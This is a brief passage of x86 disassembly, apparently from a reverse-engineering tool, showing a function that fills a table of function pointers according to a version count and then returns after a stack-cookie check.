mov dword [esi + 0x5c], 0x10003580
cmp edi, 3
jl 0x10001b85
mov dword [esi + 0x60], 0x10002cb0
cmp edi, 4
jl 0x10001bad
mov dword [esi + 0x64], 0x10003560
mov dword [esi + 0x68], 0x10003900
mov dword [esi + 0x6c], 0x100035a0
mov dword [esi + 0x70], 0x10003590
mov dword [esi + 0x74], 0x10003570
cmp edi, 5
jl 0x10001bb9
mov dword [esi + 0x78], 0x10002e20
cmp edi, ebx
jl 0x10001bc4
mov dword [esi + 0x7c], 0x10002390
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000939f
leave
ret 8